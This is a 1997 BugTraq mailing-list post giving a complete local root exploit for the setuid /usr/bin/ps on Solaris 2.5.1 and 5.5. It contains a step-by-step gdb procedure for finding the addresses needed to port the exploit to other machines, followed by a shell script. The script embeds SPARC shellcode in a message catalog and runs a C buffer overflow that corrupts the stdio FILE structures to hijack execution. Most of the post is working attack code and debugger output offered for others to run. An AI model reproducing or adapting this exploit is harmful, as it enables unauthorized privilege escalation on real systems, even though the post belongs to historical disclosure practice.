Re: The rest of the exploit is here! Solaris 2.5.1 ps!

Joe Zbiciak (jzbiciak@DALDD.SC.TI.COM)
Mon, 19 May 1997 03:21:03 -0500

'Ori C.' said previously:
|
| Hi there,
|
| I tried and got the error msg as explained in the code and got this:

[...]

(This is CC'd to BugTraq)

I've discovered that, unlike the slap-together stack frame exploits,
that this exploit is *very* sensitive to the exact libc and OS revision
that the machine is running. This is because I overwrite certain
pointers with exact values in exact places, which makes the exploit
much more brittle.

Also, I must've been smoking something, because I just noticed that
the particular machine I got this working on is actually running 5.5,
not 5.5.1. Boy is my face red now. :-)

Here's the uname -a for the particular machine I successfully tested
this exploit on:

SunOS xxxxxxxx 5.5 Generic sun4u sparc SUNW,Ultra-1

(We have 5.5 machines here in the group I just moved to, not 5.5.1,
hence my slight error. My deepest apologies to all of bugtraq!)

For those who are interested (and capable with a debugger), here's a
rough guide to how I port this to a given machine:

First, I change the environ pointer to "0x00000000" in the exploit, and
run it pointing to "./ps". "./ps" is a non-suid copy of /usr/bin/ps.

Next, I run the exploit, generating a core dump.

Now, I run "gdb ./ps --core=core", and issue the following command:

(gdb) x/1 &environ
0x25f58 <environ>: 0x00fffef8

If all goes well, I get to see the lower 24 bits of the old "environ"
pointer. In this case, it's ..fffef8. The missing upper bits are 0xef.
Note that this value is too high by about 584 bytes, because argv has
been truncated in this pass. Subtracting 584 gives us 0xeffffcb0.
One number down, one to go.

Next, I disassemble getenv. I look for a call into the
_PROCEDURE_LINKAGE_TABLE_ plus an offset. Using gdb's "printf" command
to do some math for me, I subtract the offset to find the address of
the head of the _PROCEDURE_LINKAGE_TABLE_.

(gdb) disassem getenv
Dump of assembler code for function getenv:
0xef72155c <getenv>: save %sp, -96, %sp
0xef721560 <getenv+4>: call 0xef721568 <getenv+12>
0xef721564 <getenv+8>: sethi %hi(0x4d000), %l7
0xef721568 <getenv+12>: or %l7, 0x1ec, %l7 ! 0x4d1ec <_end+159536>
0xef72156c <getenv+16>: add %l7, %o7, %l7
0xef721570 <getenv+20>: clr %i5
0xef721574 <getenv+24>: ld [ %l7 + 0xfc8 ], %i2
0xef721578 <getenv+28>: call 0xef76f824 <_PROCEDURE_LINKAGE_TABLE_+48>

(gdb) printf "%x\n", 0xef76f824-48
ef76f7f4
(gdb)

Two numbers down. Now a quick verification...

Finally, I check to find the distance (in bytes) between _iob and environ:

(gdb) print &_iob-&environ
$1 = 536

(The exploit is currently written for that offset amount. If yours is
higher/lower, adjust the "BUF_LENGTH" accordingly.)

Now, I go patch up the environ pointer and proc_link pointer in the
exploit to get this puppy moving. Now, it turns out that the /usr/bin/ps
on the patched 5.5.1 machine I have access doesn't succumb to my exploit
this easily. One additional step is necessary.

It turns out that the address I calculated above for the procedure linkage
table has a byte in it which causes the buffer overrun to fail; I'm not
sure why. BUT! If you disassemble the "exit" call after starting the
program:

(gdb) break getopt
Breakpoint 1 at 0x252d4
(gdb) run -c
Starting program: /home3/student/im14u2c/c/./ps -c
(no debugging symbols found)...d(no debugging symbols found)...
(no debugging symbols found)...Breakpoint 1 at 0xef72256c
(no debugging symbols found)...
Breakpoint 1, 0xef72256c in getopt ()
(gdb) disassemble exit
Dump of assembler code for function exit:
0xef7545c0 <exit>: call 0xef771408 <_PROCEDURE_LINKAGE_TABLE_+7188>
0xef7545c4 <exit+4>: nop
0xef7545c8 <exit+8>: mov 1, %g1
0xef7545cc <exit+12>: ta 8
End of assembler dump.
(gdb)

You can see where it jumps to when it's done "printing" the "error".
So, pointing "proc_link" at 0xef771408 yields a working exploit in this
case. One minor hitch -- with this address patched, the exploit prints
some garbage to the screen which will hose an xterm or screen. :-)
(Do ^A-Z in screen or "Full Reset" in xterm to regain control of your
tty. If you use both, you need to do both. :-)

Again, I apologize for my error. In repentance, I'm including the
source for the 5.5.1 exploit. So, now I've made 5.5 and 5.5.1 exploits
available. Happy? ;-) The copy I sent before should be relabled as
a Solaris 5.5 exploit.

Here's the 2.5.1 exploit. The uname for the machine I verified this
5.5.1 exploit on is as follows:

SunOS cegt201 5.5.1 Generic_103640-08 sun4c sparc SUNW,Sun_4_75

(Hi Eric! :-)

One other note: Some people have asked me "What's the -z for?
That's not a valid ps switch." That's the point. It's there to
force ps to report the usage information. :-)

--- ps_expl.sh: cut here ---

#!/bin/sh
#
# Exploit for Solaris 2.5.1 /usr/bin/ps (Really for 5.5.1 this time!)
# J. Zbiciak, 5/18/97
#

# change as apropriate
CC=gcc

# Build the "replacement message" :-)
cat > ps_expl.po << E_O_F
domain "SUNW_OST_OSCMD"
msgid "usage: %s\n%s\n%s\n%s\n%s\n%s\n%s\n"
msgstr "\055\013\330\232\254\025\241\156\057\013\332\334\256\025\343\150\220\013\200\016\222\003\240\014\224\032\200\012\234\003\240\024\354\073\277\354\300\043\277\364\334\043\277\370\300\043\277\374\202\020\040\073\221\320\040\010\220\033\300\017\202\020\040\001\221\320\040\010"
E_O_F

msgfmt -o /tmp/foo ps_expl.po

# Build the C portion of the exploit
cat > ps_expl.c << E_O_F

/*****************************************/
/* Exploit for Solaris 2.5.1 /usr/bin/ps */
/* J. Zbiciak, 5/18/97 */
/*****************************************/
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

#define BUF_LENGTH (632)
#define EXTRA (256)

int main(int argc, char *argv[])
{
char buf[BUF_LENGTH + EXTRA];
/* ps will grok this file for the exploit code */
char *envp[]={"NLSPATH=/tmp/foo",0};
u_long *long_p;
u_char *char_p;
/* This will vary depending on your libc */
u_long *proc_link=0xef771408;
int i;

long_p = (u_long *) buf;

/* This first loop smashes the target buffer for optargs */
for (i = 0; i < (96) / sizeof(u_long); i++)
*long_p++ = 0x10101010;

/* At offset 96 is the environ ptr -- be careful not to mess it up */
*long_p++=0xeffffcb0;
*long_p++=0xffffffff;

/* After that is the _ctype table. Filling with 0x10101010 marks the
entire character set as being "uppercase printable". */
for (i = 0; i < (BUF_LENGTH-104) / sizeof(u_long); i++)
*long_p++ = 0x10101010;

/* build up _iob[0] (Ref: /usr/include/stdio.h, struct FILE) */
*long_p++ = 0xFFFFFFFF; /* num chars in buffer */
*long_p++ = proc_link; /* pointer to chars in buffer */
*long_p++ = proc_link; /* pointer to buffer */
*long_p++ = 0x0501FFFF; /* unbuffered output on stream 1 */
/* Note: "stdin" is marked as an output stream. Don't sweat it. :-) */

/* build up _iob[1] */
*long_p++ = 0xFFFFFFFF; /* num chars in buffer */
*long_p++ = proc_link; /* pointer to chars in buffer */
*long_p++ = proc_link; /* pointer to buffer */
*long_p++ = 0x4201FFFF; /* line-buffered output on stream 1 */

/* build up _iob[2] */
*long_p++ = 0xFFFFFFFF; /* num chars in buffer */
*long_p++ = proc_link; /* pointer to chars in buffer */
*long_p++ = proc_link; /* pointer to buffer */
*long_p++ = 0x4202FFFF; /* line-buffered output on stream 2 */

*long_p =0;

/* The following includes the invalid argument '-z' to force the
usage msg to appear after the arguments have been parsed. */
execle("/usr/bin/ps", "ps", "-z", "-u", buf, (char *) 0, envp);
perror("execle failed");

return 0;
}
E_O_F

# Compile it
$CC -o ps_expl ps_expl.c

# And off we go!
exec ./ps_expl

--- EOF ---

--Joe

--
 +--------------Joseph Zbiciak--------------+
 |- - - - jzbiciak@daldd.sc.ti.com - - - - -|
 | - - http://ee1.bradley.edu/~im14u2c/ - - |      Not your average "Joe."
 |- - - - Texas Instruments,  Dallas - - - -|
 +-------#include <std_disclaimer.h>--------+